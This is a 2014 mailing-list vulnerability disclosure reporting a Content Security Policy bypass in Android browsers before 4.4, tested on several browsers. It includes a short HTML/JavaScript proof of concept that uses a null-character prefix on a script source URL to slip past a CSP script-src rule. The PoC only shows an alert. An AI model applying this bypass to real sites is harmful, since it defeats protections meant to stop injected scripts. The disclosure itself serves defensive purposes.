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CSP Bypass in android browser prior to 4.4


From: evanjjohns () gmail com
Date: Fri, 10 Oct 2014 15:45:10 GMT

Hello. I hope this is the correct place to report this bug.

I've found a Content Security Policy bypass similar to the same and related to the same origin policy bypass in this 
CVE. This is a separate vulnerability, however.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6041

I've tested this on an Android 4.3 tablet. I've tested this and it works on Firefox (32.0.2), InBrowser, Dolphin (App 
info doesn't give version). I also tested the default android browser on 4.3.1 emulator which was also vulnerable.

PoC:
<input type=button value="test" onclick="
  a=document.createElement('script');
  a.id='AA';
  a.src='\u0000https://js.stripe.com/v2/&apos;;
  document.body.appendChild(a);
  setTimeout(function(){if(typeof(document.getElementById('AA'))!=='undefined'){alert(Stripe);}else{ alert(2);}}, 400);
  return false;">

The content security policy rule that should block this is 
script-src 'self' https://js.stripe.com/v2/ ;

The PoC worked if you see a popup containing stripes e(){} object. You can test this on http://ejj.io/test.php


Cheers,
Evan J


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